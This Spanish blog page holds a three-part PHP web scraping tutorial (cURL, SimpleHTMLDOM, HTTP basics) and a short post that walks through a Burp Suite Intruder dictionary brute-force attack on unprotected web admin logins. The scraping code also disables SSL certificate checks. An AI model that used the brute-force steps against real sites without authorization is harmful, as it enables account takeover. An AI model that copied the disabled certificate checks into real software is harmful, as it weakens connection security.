domingo, 18 de enero de 2015

[Parte 3] Web Scraping

Herramientas para web scraping


Al igual que con cualquier otra tarea, comenzando con un buen conjunto de herramientas para comprender y utilizarlas de manera eficiente. Web scraping no es diferente. Web scraping se puede hacer ya sea mediante programacion con lenguajes de scripting como PHP, Ruby, o con ayuda de herramientas como wget o curl, aunque mas tarde no proporcionan la flexibilidad de un lenguaje que son herramientas utiles que vendran a mano. Cada uno puede ser utilizado de manera independiente o con la combinacion de realizar ciertas tareas de web scraping. Nuestro principal objetivo es utilizar PHP para recuperar paginas web y raspar la pagina para contenidos que nos interesan.

Trabajar con PHP para raspar los datos de las paginas webs no es una tarea facil y requiere de un buen conocimiento de las expresiones regulares. Sin embargo, existen algunas excelentes librerias, que seran muy faciles para analizar los datos de una pagina web sin ningun conocimiento de expresiones regulares. Tener un conocimiento practico de ello es parte esencial de un programador y puede ayudar enormemente con su trabajo de raspado (scraping).

En este apartado vamos a trabajar exclusivamente con la maravillosa herramienta SimpleHTMLDOM. Esta es una libreria muy pequeña y versatil, y es facil de integrar dentro de su aplicacion. Es un analizador HTML DOM escrito en PHP5+ que permite manipular HTML de manera muy facil. Es compatible con HTML invalido y permite encontrar las etiquetas en una pagina HTML con selectores como jQuery. Se puede descargar desde el siguiente enlace: http://simplehtmldom.sourceforge.net/.

La mejor manera para obtener una sensacion de utilizar la libreria es conseguir un par de ejemplos de como se ejecuta. Una vez que estamos a traves de estos ejemplos, vamos a ver mas profundamente la libreria. Aunque hay muchas librerias PHP por ahi que pueden ayudarte en su web scraping, centrandose unicamente en una sola libreria le ayudara conseguir el dominio de la libreria, depurando y escribiendo mas rapido sus scrapers. Ademas una vez que se llega a conocer una libreria se puede pasar facilmente a otras librerias. Simple HTML DOM ha existido desde hace bastante tiempo y es estable y altamente utilizado. Antes de empezar con simplehtmldom, miraremos otra herramienta muy importante cURL.

PHP cURL

Si quieres ver cURL en profundidad te invito a que visites las siguientes partes:

http://arthusu.blogspot.mx/2014/04/parte-1-curl-en-php.html
http://arthusu.blogspot.mx/2014/04/parte-2-curl-en-php.html
http://arthusu.blogspot.mx/2014/04/parte-3-curl-en-php.html
http://arthusu.blogspot.mx/2014/04/parte-4-curl-en-php.html
http://arthusu.blogspot.mx/2014/05/parte-5-curl-en-php.html

Mientras PHP el mismo es capaz de descargar archivos remotos y paginas webs, la mayoria de las aplicaciones de raspado web requiren una funcionalidad adicional para manejar temas avanzados como envio de formularios, autenticacion, redireccion y asi sucesivamente. Estas funciones son dificiles de facilitar con funciones incorporadas de solo PHP. Afortunadamente para nosotros cada instalacion de PHP incluye una libreria llamada PHP/CURL, que se encargar automaticamente de estas caracteristicas avanzadas. La mayoria de los ejemplos que veras hacen uso de cURL para descargar archivos y paginas web. 

A diferencia de las funciones de red incorporadas en PHP, cURL soporta multiples protocolos de transferencia - FTP, FTPS, HTTP, HTTPS, Gopher, Telnet y LDAP. De estos protocolos el mas importante para nuestro proposito es probablemente HTTP y HTTPS. Permite a nuestros web scrapers la descarga de paginas webs encriptadas que utilizan el protocolo SSL (Secure Sockets Layer).

Como se indico anteriormente, cURL permite la transferencia de datos atraves de una amplia variedad de protocolos. Es ampliamente utilizado como una forma de enviar contenido a traves de sitios web, incluyendo cosas como API. cURL no se restringe en lo que puede hacer, a partir de una peticion basica HTTP, carga de archivos en FTP o interaccion con un sitio seguro HTTPS.

Antes de que podamos hacer algo con una solicitud cURL, tenemos que crear antes una instancia de un recurso cURL llamando a la funcion curl_init(). Esta funcion toma un parametro que es la direccion URL a la que desea enviar la solicitud y devuelve un recurso cURL.

$ch = curl_init('http://ejemplo.com');

Tambien podemos inicializar cURL de una manera ligeramente diferente:

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'http://ejemplo.com');


Tomemos un ejemplo sencillo:

<?php
$ch = curl_init('http://ejemplo.com');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$res = curl_exec($ch);
curl_close($ch);
?>


Los detalles de cada linea se indican a continuacion:

* curl_init se llama y se pasa 'http://ejemplo.com' como una url para la solicitud
* curl_setopt es llamada a establecer la configuracion de ajuste representado por CURLOPT_RETURNTRANSFER estableciendo el valor en verdad (true). Esta configuracion hará que curl_exec devuelva el cuerpo de la respuesta HTTP en una cadena saliendo directamente al navegador o consola, siendo este ultimo el comportamiento predeterminado. 
* curl_exec es llamado para ejecutar la solicitud y devolver el cuerpo de la respuesta que se almacena en la variable $res
* curl_close es llamado explicitamente para cerrar el identificador de sesion curl. Es importante que compruebe el codigo de retorno HTTP despues de una operacion cURL. 

Puede utilizar la funcion 'curl_getinfo' para obtener la respuesta HTTP.

$estado_http = curl_getinfo($ch);

La impresion de la variable $estado_http sera la siguiente informacion:

Array
(
[url] => http://www.ejemplo.com
[content_type] => text/html; charset=UTF-8
[http_code] => 200
[header_size] => 157
[request_size] => 58
[filetime] => -1
[ssl_verify_result] => 0
[redirect_count] => 0
[total_time] => 1
[namelookup_time] => 0.109
[connect_time] => 0.406
[pretransfer_time] => 0.406
[size_upload] => 0
[size_download] => 0
[speed_download] => 0
[speed_upload] => 0
[download_content_length] => 20714
[upload_content_length] => -1
[starttransfer_time] => 1
[redirect_time] => 0
)


Apartir de la matriz anterior solo estamos interesados en el codigo de estado, el cual podemos comprobar con lo siguiente:


$http_status = curl_getinfo($ch);
if($http_status['http_code'] != 200) {
echo "echo error.";
// Hacer algo aqui
}  


Tambien puede obtener el codigo de estado HTTP directamente atraves de la opcion 'CURLINFO_HTTP_CODE':

$estado_http = curl_getinfo($s, CURLINFO_HTTP_CODE);

Simple HTML DOM: Una vision rapida

Comencemos con un ejemplo del mundo real para tener una idea de la libreria. El siguiente es un programa sencillo que busca en google la palabra clave 'flor' e imprime todos los enlaces de la pagina:

<?php
/* Incluimos la libreria simplehtmldom */
require_once('simplehtmldom/simple_html_dom.php');
/* Obtenemos el contenido de la pagina por el buscador de Google */
$html = file_get_html('http://www.google.com/search?q=flor');
/* Buscamos todos los enlaces '<a>' de la pagina */
$links = $html->find('a');
/* Recorremos todos los links y los imprimimos */
foreach($links as $elemento)
{
echo $elemento->href . '<br>';
}
?>


El codigo se explica por si mismo. Inicialmente incluimos la libreria 'simplehtmldom' en su programa. Asegurese de la que la ruta de la libreria esta correcta. 

require_once('simplehtmldom/simple_html_dom.php');

A continuacion, utilizamos la funcion de la libreria file_get_html() para obtener el contenido en raw de la URL dada. La variable $html ahora contendra la estructura DOM completa de la pagina web recuperada. 

$html = file_get_html('http://www.google.com/search?q=flor');

Tenga en cuenta que la funcion file_get_html() utiliza file_get_contents() internamente de PHP. Asi que si file_get_contents() esta desactivada por su proveedor por razones de seguridad tendra que habilitarlo en su archivo de configuracion php.ini o en su lugar usar curl para obtener el contenido de la pagina inicial. 

Una vez que se ejecuta la linea anterior, la variable $html contiene el objeto simplehtmldom que contiene el contenido HTML de la url dada. Una vez que tenemos nuestra pagina el DOM, estamos dispuestos a buscar con el metodo 'find' de la libreria. En este ejemplo estamos buscando el elemento de enlace <a>.

$links = $html->find('a');

Esto devolvera una matriz de elementos del objeto <a>, que luego iteramos para imprimir el atributo href, el ejemplo anterior utilizando curl es el siguiente:

<?php
/* Incluimos la libreria simplehtmldom */
require_once('simplehtmldom/simple_html_dom.php');
/* Obtenemos el contenido de la pagina desde el buscador Google */
$ch = curl_init('http://www.google.com/search?q=flor');
curl_setopt($ch, CURLOPT_TIMEOUT, 60);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$html_data = curl_exec($ch);
curl_close($ch);
/* Creamos un objeto DOM desde la pagina anteriormente dada. */
$html = str_get_html($html_data);
/* Buscamos todos los enlaces de la pagina '<a>'. */
$links = $html->find('a');
/* Los recorremos e imprimimos */
foreach($links as $elemento) {
echo $elemento->href . '<br>';
}
?>

 
En el ejemplo anterior hemos utilizado la siguiente linea para imprimir el atributo href:

echo $elemento->href;

Esto es el flujo de cualquier web scraping. Por supuesto, para proyectos complejos que habra demasiadas variaciones que habra que explorar, pero la logica basica y el flujo seguira siendo el mismo. Cada vez que buscas todos los elementos DOM, varios atributos se devuelven con la busqueda. En el ejemplo anterior hemos utilizado href, pero podria haber otros atributos que estan disponibles mediante el uso de los siguientes datos:

print_r(array_keys($elemento->attr));

Esto deberia de devolver algo como lo siguiente:

Array
(
[0] => href
[1] => rel
[2] => title
)


Asi que hay un atributo de title el cual puede ser impreso en lugar del atributo href.

echo $elemento->title;

Cuando se especifica un atributo para imprimir, como el titulo en el ejemplo anterior, simplehtmldom busca primero en la lista de atributos para ver si hay algun atributo con ese nombre disponible, si lo encuentra entonces devuelve eso o lanza error. Muchas veces no son necesarios los atributos, pero el texto real dentro del elemento DOM, por ejemplo, el texto dentro de la etiqueta h3, para ello podemos utilizar el metodo 'plaintext' o 'innertext' el cual devuelve el contenido html en formato raw dentro del elemento especificado, mientras 'plaintext' devuelve el texto en plano sin formato html. Hay otro metodo 'outertext' que devuelve el texto exterior del nodo DOM junto a las etiquetas. El siguiente ejemplo muestra como los diferentes metodos son devueltos desde una cadena:

$html = str_get_html("<div>Hola <b>Mundo!</b></div>");
$ret = $html->find("div", 0);
echo $ret->tag; // "div"
echo $ret->outertext; // "<div>Hola <b>Mundo!</b></div>"
echo $ret->innertext; // "Hola <b>Mundo!</b>"
echo $ret->plaintext; // "Hola Mundo!"


Supongamos que queremos listar todos los titulos de la busqueda de Google, en lugar de los enlaces podemos utilizar el codigo dado a continuacion, los titulos estan dentro de la etiqueta h3, por lo que tendran que buscar la misma, aviso lo facil es cambiar el elemento de busqueda el elemento de busqueda es el metodo 'find':

/* Buscamos todos los titulos '<h3>' en los elementos de la pagina */
$titulos = $html->find('h3');
/* recorremos atraves de todos los titulos y los imprimimos */
foreach($titulos as $titulo) {
echo $titulo->plaintext . '<br>';
}


Hemos utilizado el metodo 'plaintext' aqui, en lugar del nombre de los atributos.

Guardando en caché paginas descargadas

Durante su inicio en proyectos de web scraping cuando se esta en aprendizaje, le ayudara enormemente si guarda una pagina en local a la cual le esta realizando web scraping. Esto ahorrara su ancho de banda y tambien de la pagina se que este raspando. Puede suceder que si se golpea el servidor remota de forma frecuente puede prohibir su IP. La mayoria de los datos de la pagina web no cambian con frecuencia, podemos ahorrarnos esto con las noticias o cosas relacionadas. Asi que una vez que haya guardado la pagina localmente y que se sienta comodo para probar el codigo de scraping en la copia local en lugar de ir de nuevo al servidor. Asi que si usted esta haciendo web scraping a la pagina principal de yahoo, se puede guardar un archivo local inicialmente y hacer uso de el mas adelante para rasparlo. Esto ayudara a mantener su trafico bajo y aumentar su velocidad es por que esta accediendo a una copia local, en lugar de la pagina web. A continuacion se muestra el codigo para guardar una copia local de la pagina:

/* Obtenemos el contenido de la pagina principal de yahoo */
$homepage = file_get_contents('http://www.yahoo.com/');
/* Lo guardamos en un archivo local */
file_put_contents("cache/index.html", $homepage);


Si esta utilizando curl puede utilizar lo siguiente:


/* obtenemos la pagina principal de yahoo */
$ch = curl_init('http://yahoo.com');
curl_setopt($ch, CURLOPT_TIMEOUT, 60);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$html_data = curl_exec($ch);
curl_close($ch);
file_put_contents("cache/index.html", $html_data);


Ahora que usted tiene la copia local de la pagina principal, se puede utilizar en el codigo de raspado:


/* Incluimos la libreria simplehtmldom */
require_once('simplehtmldom/simple_html_dom.php');
/* Creamos un objeto DOM desde el archivo local */
$html = file_get_html('cache/index.html');
/* Buscamos todos los enlaces <a> de la pagina */
$links = $html->find('a');
/* Recorremos todos los enlaces y los imprimimos */
foreach($links as $element) {
echo $element->href . '<br>';
}


Depuracion cURL

Rara vez un codigo nuevo corre perfectamente la primera vez. cURL no es la excepcion. Muchas veces puede no funcionar correctamente o simplemente devolver un error. La funcion curl_getinfo permite ver peticion enviadas por cURL. Esto puede ser muy util para depurar las solicitudes, a continuacion se presenta un ejemplo de esta funcion en accion:

$ch = curl_init('https://www.google.com/search?q=flor&start=0');
curl_setopt($ch, CURLOPT_TIMEOUT, 6);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLINFO_HEADER_OUT, true);
$html = curl_exec($ch);
$request = curl_getinfo($ch, CURLINFO_HEADER_OUT);
curl_close($ch);


La variable $request ahora mantiene el contenido de la peticion enviada por cURL. Puede ver si esto es correcto y modificar el codigo en consecuencia.


Nos vemos en la proxima parte.
 

[Parte 2] Web Scraping

HTTP: un resumen rapido

La primera tarea de una aplicacion de web scraping es la de recuperar documentos que contienen informacion para ser extraida. Para los sitios webs que constan de varias paginas o que requieren la mantencion de la sesion entre solicitudes o informacion de autenticacion, un cierto nivel de ingieneria inversa es a menudo necesaria para desarrollar una aplicacion web de web scraping correspondiente. Este tipo de exploracion requiere un buen conocimiento del protocolo de transferencia de hipertexto o HTTP el protocolo que da poder a la internet.


HTTP es un protocolo  de solicitud/respuesta concebido como un protocolo de comunicaciones entre clientes y servidor web.  Los clientes son programas o scripts que envian peticiones a los servidores, algunos ejemplo de clientes se incluyen los navegadores, tal como firefox, internet explorer o crawlers, como los utilizados por Yahoo!, Google y web scrapers. 

Siempre que su navegador web obtiene un archivo (una pagina, una foto, etc) de un servidor web, lo hace utilizando HTTP. Esa solicitud que su ordenador envia al servidor web contiene todo tipo de informacion interesante. HTTP define metodos (aveces denominados verbs) para indicar la accion deseada a realizar por el servidor web en el recurso solicitado. Lo que este recurso representa, ya sea datos o datos preexistentes que son generados dinamicamente, depende de la aplicacion del servidor. A menudo, el recurso corresponde a un archivo o salida de un ejecutable que reside en el servidor. Una peticion HTTP consta de un metodo de peticion, un URL de solicitud, los campos de cabecera, y un cuerpo. 

HTTP 1.1 define los siguientes metodos de peticion, de los cuales solo dos metodos de peticion seran de interes para nosotros - GET y POST.

GET: Recupera el recurso identificado por la URL de la solicitud.
HEAD: Devuelve las cabeceras identificadas por la URL de la solicitud. 
POST: Envia los datos de longitud ilimitada en el servidor web.
PUT: Almacena un recurso bajo el URL de la solicitud.
DELETE: Elimina el recurso identificado por la URL de la solicitud.
OPTIONS: Devuelve los metodos HTTP que soporta el servidor.
TRACE: Devuelve los campos de cabecera que han sido enviados con la peticion TRACE.

Peticiones GET

Comencemos con una simple peticion HTTP GET, una pagina que devuelva el index ficticio del tal pagina:

el sitio es - ejemplo.com. La siguiente es la peticion que su navegador envia al servidor para recuperar el archivo index:

GET /index.html HTTP 1.1
Host: www.ejemplo.com

Los componentes individuales de la solicitud anterior se detallan a continuacion:

GET es el metodo o la operacion que debe aplicarse sobre el recurso del servidor. Piense en ello como un verbo en una frase, una accion que desea realizar en algo.

index.html es el identificador uniforme de recursos o URI. Proporciona un punto unico de referencia para el recurso, el objeto o destino de la operacion. 

HTTP 1.1 especifica la version del protocolo HTTP en uso por el cliente.

El metodo, URI, y la especificacion HTTP juntos conforman la linea de peticion. 

En un unico encabezado Host y su valor asociado www.ejemplo.com siguen la linea de la peticion.

Mas pares de cabecera : Valor pueden seguir.

Basado en el recurso, el valor de la cabecera Host y el protocolo en uso http://www.ejemplo.com/index, Es la url completa del recurso solicitado resultante. 

La mayoria de las solicitudes de las cabeceras de los sitios son sin embargo mas complejas que contienen muchos campos adicionales.

Puede utilizar herramientas como Firebug, Live HTTP Headers Plugin de firefox, para comprobar las cabeceras que son enviadas por el navegador y las respuestas correspondientes recibidas desde el servidor. Un encabezado que ha sido capturado con Live HTTP Headers para el sitio yahoo.com se muestra a continuacion. Como se puede ver hay muchos campos adicionales junto con la accion GET.

GET /?p=us HTTP/1.1
Host: in.yahoo.com
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: B=1mjov258ke&b=4&d=g2uJ6p15tCRXz. (truncated)
Cache-Control: max-age=0


Cadenas de consulta

Otra disposicion de URL es un mecanismo que se llama cadena de consulta (query string), que se utiliza para pasar parametros de la peticion a aplicaciones web. A continuacion se muestra una peticion GET que incluye una cadena de consulta se utiliza para solicitar una determinada pagina de ejemplo.com.

GET /index.php?page=3&limit=10
Host: ejemplo.com


Hay algunos puntos notables que tenemos que tomar en cuenta en la URL:

Un signo de interrogacion indica el final de la ruta del recurso y de ahi comienza la cadena de consulta.

La cadena de consulta se compone de pares clave-valor, donde cada pareja esta separada por un signo (&).

Las claves y los valores estan separados por un signo igual. Las cadenas de consulta no son especificas de operaciones GET y pueden ser utilizadas en otras operaciones como POST, que miraremos a continuacion.


Peticiones POST

La adicion del metodo POST es quizas una de las mas grandes mejoras del HTTP especificadas hasta la fecha. Este metodo puede ser acreditado con la transicion de la web para una verdadera plataforma de desarrollo de aplicaciones web interactivas.

Cuando se utiliza un navegador web como cliente, esto mas a menudo se utiliza en formularios HTML. Si un formulario HTML especifica un metodo POST, el navegador enviara los datos de los campos del formulario en una peticion POST en lugar de una peticion GET.

Una gran diferencia entre una solicitud GET y una solicitud POST es que el POST incluye un cuerpo siguiendo los encabezados de solicitud para contener los datos que se presentaran. POST pretende añadir o modificar los datos expuestos por la aplicacion, un resultado posible es que se crea un nuevo recurso o se cambia un recurso existente.

Sintaxis de URL

La URL proporciona un medio de localizar cualquier recurso de internet, pero estos recursos pueden accederse por diferentes esquemas (Por ejemplo: HTTP, FTP, SMTP), y la sintaxis de la URL varia de esquema a esquema. A pesar de las diferencias entre varios esquemas, las URLS se adhieren a una sintaxis general de URL, y existe una superposicion significativa en el estilo y la sintaxis entre distintos esquemas de URL. 

Todos los mensajes HTTP, con la posible excepcion del contenido del mensjae, utilizan el conjunto de caracteres ISO-8859-1 (ISO-Latin). Una solicitud HTTP puede incluir un encabezado de peticion Accept-Encoding que identifica codificaciones de caracteres alternativos que no sean aceptables para el contenido de la respuesta HTTP. La mayoria de los esquemas HTTP basan su sintaxis en este formato general de nueve partes:

<scheme>://<user>:<pass>@<host>:<port>/<path>?<query>#<frag>

La mayoria de las URLs no contienen todos estos componentes. Las tres partes mas importantes de una URL son scheme, host y path (esquema, servidor y ruta). Las distintas partes se explican a continuacion.

 

+------------+-----------------------------------------------------------------------+----------------------+
| Componente | Descripcion                                                           | Valor por defecto    |
+------------+-----------------------------------------------------------------------+----------------------+
| scheme     | Protocolo utilizado para a obtener un recurso                         | Ninguno              |
+------------+-----------------------------------------------------------------------+----------------------+
| user       | El nombre de usuario, algunos scheme requieren                        | anonymous            |
|            | acceso anonimo para acceder a un recurso                              |                      |
+------------+-----------------------------------------------------------------------+----------------------+
| pass       | La contraseña se puede incluir despues del nombre                     | <correo electronico> |
|            | de usuario, separados por dos puntos(:)                               |                      |
+------------+-----------------------------------------------------------------------+----------------------+
| host       | El nombre del servidor o direccion IP que aloja                       | Ninguno              |
|            | el recurso                                                            |                      |
+------------+-----------------------------------------------------------------------+----------------------+
| port       | El numero de puerto en el que el servidor que aloja                   | Especifico al scheme |
|            | el recurso esta escuchando. Muchos schemes tienen                     |                      |
|            | numeros de puerto por defecto (el numero de puerto                    |                      |
|            | predeterminado para HTTP es el 80)                                    |                      |
+------------+-----------------------------------------------------------------------+----------------------+
| path       | El nombre local para el recurso en el servidor, separado              | Ninguno              |
|            | por los componentes de la URL anteriores por una                      |                      |
|            | barra (/), la sintaxis del componente path  es servidor y             |                      |
|            | especifico al scheme.                                                 |                      |
+------------+-----------------------------------------------------------------------+----------------------+
| query      | Utilizado por algunos schemes para pasar parametros a                 | Ninguno              |
|            | las aplicaciones activas (como base de datos, bulletin boards,        |                      |
|            | motores de busqueda y otros portales de internet). No hay             |                      |
|            | un formato comun para el contenido del componente de query.           |                      |
|            | Esta separado por el resto de la URL por el caracter "?".             |                      |
+------------+-----------------------------------------------------------------------+----------------------+
| frag       | Un nombre para una pieza o parte del recurso. El campo frag           |                      |
|            | no se pasa al servidor cuando hace referencia al objeto; es utilizado | Ninguno              |
|            | internamente por el cliente. Esta separado del resto de la URL        |                      |
|            | por el caracter "#".                                                  |                      |
+------------+-----------------------------------------------------------------------+----------------------+

Gestion de estados HTTP y Cookies


La tarea principal de un servidor web es satisfacer cada solicitud HTTP recibida del cliente. Todo lo que el servidor web considera al generar la respuesta HTTP esta incluido en la peticion. Si dos clientes web completamente diferentes envian solicitudes HTTP identicas al mismo servidor web, el servidor web usara el mismo metodo para generar la respuesta, que puede incluir la ejecucion de algunas aplicaciones del lado del servidor. 

Los sitios webs modernos sin embargo tienen que proporcionar un toque personal a los clientes. Ellos quieren saber mas acerca de los usuarios sobre los otros extremos de las conexiones y poder hacer un seguimiento de los usuarios mientras navegan. Las transacciones HTTP son sin estado. Cada peticion/respuesta ocurre en el aislamiento. Muchos sitios web quieren construir un estado gradual a medida que interactuan con el sitio (por ejemplo, llenar un carrito de compras en linea). Para ello, los sitios webs necesitan una manera de distinguir una transaccion HTTP de otra. 

Las cookies son la mejor manera de identificar los diferentes usuarios y permitir sesiones persistentes. Las cookies se desarrollaron por primera vez por Netscape pero ahora son compatibles con todos los navegadores principales. Puede clasificar las cookies generalmente en dos tipos: las cookies de sesion y las cookies persistentes. Una cookie de sesion es una cookie temporal que mantiene un registro de configuracion y las preferencias de como un usuario navega en el sitio. Una cookie de sesion se elimina cuando el usuario cierra el navegador. Las cookies persistentes pueden vivir mas tiempo; se almacenan en el disco y sobreviven despues de salir del navegador e incluso reiniciar el equipo. Las cookies persistentes a menudo se utilizan para mantener un perfil de configuracion o un nombre de usuario para un sitio que un usuario visita periodicamente. La unica diferencia entre las cookies de sesion y las cookies persistentes es cuando caducan. 

Ahora que hemos tenido un breve resumen de HTTP, podemos proceder a lo que vamos - web scraping.! En la proxima parte.

miércoles, 14 de enero de 2015

[Parte 1] Web Scraping

Definiendo Web scraping

El internet hoy en dia es un gran deposito de informacion, la porcion mas grande puede ser accedida a traves de la World Wide Web. Siendo el navegador web la herramienta estandar para acceder a este tipo de informacion.

Aunque el navegador es una gran herramienta, que se limita a los usuarios. Con un gran conjunto de informacion disponible en linea, seria util que las computadoras pudieran grabar toda esa informacion de forma automatica de alguna manera. Esto podria ser util para reutilizacion de datos, el analisis o creacion de mashups.   

Muchos de los sitios web de hoy en dia proporcionan el acceso a su contenido con la ayuda de una API, ya sea a traves de protocolos REST o SOAP. Los usuarios pueden recuperar el contenido del sitio mediante la API y reutilizarlo como deseen (por supuesto, siempre respetando los terminos y condiciones del sitio). Por desgracia la mayoria de los sitios webs no proporcionan una API y la unica manera de conseguir los datos es a traves de web scraping, tambien conocido como spidering o screen scraping.

Web scraping es un metodo que implica la recuperacion automatica por programas, de los datos semi-estructurados de paginas webs. Comunmente hoy una pagina web esta construida en un lenguaje de marcas tales como HTML o XHTML. Como se muestra a continuacion:


<html>
<head>
<title>Hola HTML</title>
</head>
<body>
<p>Hola Mundo!</p>
</body>
</html>


Como se puede ver en el codigo anterior, la informacion aqui es la cadena "Hola Mundo!", mientras que la mayor parte del contenido de la pagina es el formato HTML , lo que hace que el navegador del usuario muestre "Hola Mundo!", si usted necesita conseguir esa parte del contenido "Hola Mundo!" mediante un programa informatico, lo que tendra que hacer es descargar la pagina y analizar el contenido de manera adecuada, lo que elimina todo el codigo HTML superfluo para llegar al contenido de texto puro. Por supuesto el ejemplo de marcado dado anteriormente es muy simple. En realidad las paginas webs son mucho mas complejas, que alberga diversos elementos HTML en una variedad de combinaciones. 
Algunos de los HTML pueden estar mal formados, las etiquetas que faltan pueden estar anidadas incorrectamente. Los navegadores modernos suelen ignorar estos problemas y tratar de corregir las inconsistencias antes de mostrar una pagina. Sin embargo cuando usted esta escribiendo un web scraping usted tiene que tomar todos estos factores en consideracion. Esto puede hacer que el analisis de una pagina web sea una tarea dificil. Afortunadamente, hay varias bibliotecas y herramientas disponibles para que dicha mision sea mas facil para nosotros.

Razones para utilizar Web Scraping

Ahora que hemos definido lo que es web scraping y tenia una idea superficial sobre ello, tenemos que responder a la pregunta ¿por que? ¿Por que molestarme en realizar web scraping? llegarse a responder esta pregunta le resultara muy util para ampliar sus habilidades de web scraping en varios dominios.

Agregar y buscar un tipo especifico de datos.

Aunque diferentes sitios web ofrecen diferentes tipos de datos, la mayoria de ellos estan conectados semanticamente de alguna manera. Por ejemplo, si usted esta interesado en blogs relacionados con la ciencia, y tiene alrededor de 100 blog que se alimenta leyendo, seria dificil recorrer todos ellos regularmente, y encontrar articulos que usted realmente desea. Sin embargo usted puede programar un script de web scraping que alimente en una sola pagina todos los blogs y haciendo busquedas de interes en particular, transfiriendo asi la monotonia de datos filtrados en una sola maquina.

Obtener acceso automatizado a recursos web

Si es necesario comprobar regularmente el precio de algun producto en una tienda de comercio electronico (ecommerce) para ver si algun descuento esta disponible, se podria visitar el sitio regularmente para ver si se encuentra algo. Sin embargo, eso seria lento y tedioso. Una mejor manera seria escribir un pequeño programa de web scraping que visite regularmente el sitio y obtenga los precios y que envie un correo si encuentra algun descuento. Tambien podria comprobar las imagenes y descargarlas en su ordenador. 

Combinar la informacion y presentarla en formato alternativo

Este metodo es uno de los usos mas comunes de web scraping, tambien conocido como "mashups", le permite reunir diferente tipo de informacion de varios sitios y combinarlos de una manera interesante que seria muy util para un usuario final.

Legalidad de web scraping

Despues de haber visto algunos usos de web scraping, tenemos que mirar un tema importante con relacion a la legalidad de web scraping. La legalidad de web scraping es una pregunta bastante compleja, debido a gran parte a las leyes de derecho de autor y de propiedad intelectual. Desafortunadamente, no hay una respuesta corta y facil que quede completamente clara, sobre todo por que estas leyes pueden variar en cada pais. Sin embargo hay varios puntos fundamentales para la examinacion de una pagina web potencial a realizar web scraping. 

En primer lugar, los sitios web contienen a menudo documentos con terminos de servicio (TOS), terminos o condiciones de uso, o acuerdos de usuarios. Estos se localizan generalmente a lo largo del pie de pagina o la seccion de ayuda. 

Estos tipos de documentos son mas comunes en sitios webs grandes o empresas reconocidas. Leer y enteder esto para saber los terminos sobre web scraping automatizado con scripts. Si usted esta realizando web scraping con el unico proposito de utilizar propiedad intelectual de otra persona en su propio sitio web, usted esta violando claramente los derechos de autor, esto es una obviedad. Si usted esta realizando web scraping a sitios de sus competidores y utilizando en su propio sitio lo cual es claramente ilegal. Ademas, incluso si usted no esta utilizando el web scraping para la reunion ilegal de datos, pero su script carga el servidor con varias solicitudes, perjudicando de este modo el servidor, esta usted violando los terminos del sitio. Asi que asegurese de que su script de web scraping no degrada de ninguna manera el servidor del sitio remoto. 

Ahora con todos los problemas legales fuera del camino (pero aun a la vista), estamos listos para salir adelante con la parte de la codificacion.
 
     



martes, 13 de enero de 2015

[Poc] Ataque por fuerza bruta

Buenas aunque este ataque ya es demasiado viejo y existen muchos maneras de seguridad para ello, hoy en dia todavia sigue vigente, por lo cual veremos un poco sobre un ataque por fuerza bruta en una aplicacion web por metodo POST.

En criptografia, se denomina ataque de fuerza bruta a la forma de recuperar una clave probando todas las combinaciones posibles hasta encontrar aquella que permite el acceso.

Voy a hacer este tutorial en forma de pasos para que sea comprensible y ademas agradezco a Cesar (http://alguienenlafisi.blogspot.mx/) por sus recomendaciones.

1.- Vamos a encontrar la web a la cual le podemos realizar Ataques por fuerza bruta (seran las cuales no tengan proteccion como captcha o algun otro tipo de proteccion).

2.- Vamos a capturar los campos (en este caso por metodo POST) con el BURP SUITE (no importa si es la version gratuita que ofrece)

3.- Configuramos la pasarela (proxy) del navegador y burp suite...


En este caso yo estoy configurando la proxy del burp suite en la ip local y el puerto 2300, pero por defecto viene en el puerto 8080.


Aqui se muestra como configuramos en el navegador la proxy para que capture la peticion con el burp suite.

4.- Lo siguiente a hacer es enviar nuestra peticion a intruder de burp suite, de manera que podamos manejar a nuestro antojo los campos a vulnerar...



En este caso esta es nuestra pagina de administracion ni siquiera cuenta con captcha. Lo que haremos es con una lista configurarla de manera que arroje las peticiones con diferente contraseña o usuario, o ambos, o que intente el mismo usuario diferentes contraseñas, o varios usuarios y varias contraseñas :P.

El Ataque por fuerza bruta es bastante tardado, pero al final puede darte el resultado que deseas.



Enviamos la pagina a intruder, si te das cuenta lo que esta marcado en rojo son los campos que enviamos (aqui nos muestran las cabeceras que son enviadas en la peticion).

5.- Lo siguiente es elegir los campos que queremos que arrojen nuestra lista de usuarios o contraseñas (diccionarios) de esta manera para realizar el ataque.



En la imagen anterior podemos ver los campos seleccionados son username y password, para seleccionar el valor solo hacemos click en el boton Add$ y si queremos remover alguno hacemos click en el boton clear$.

Hay algunos tipos de ataques, el mas comun es Sniper (el cual solo permite 1 campo), pero en este caso utilizaremos battering ram el cual lanza la misma lista de palabras (diccionario) en los dos campos, en caso de que necesite lanzar dos listas de palabras diferentes en los dos campos utilizariamos cluster Bomb.

6.- Por ultimo configuraremos nuestra lista de palabras (diccionario):



Si le damos en load (Cargar...) nos cargara nuestra lista de palabras en este caso estoy utilizando la que me recomendo mi amigo Cesar (http://www.whatsmypass.com/the-top-500-worst-passwords-of-all-time).

Lo siguiente es ir al menu intruder>Start Attack.


Por ultimo vemos cual es la respuesta que nos arroje diferente, en Status (Codigos HTTP) y en Length (Tamaño de la pagina arrojada).

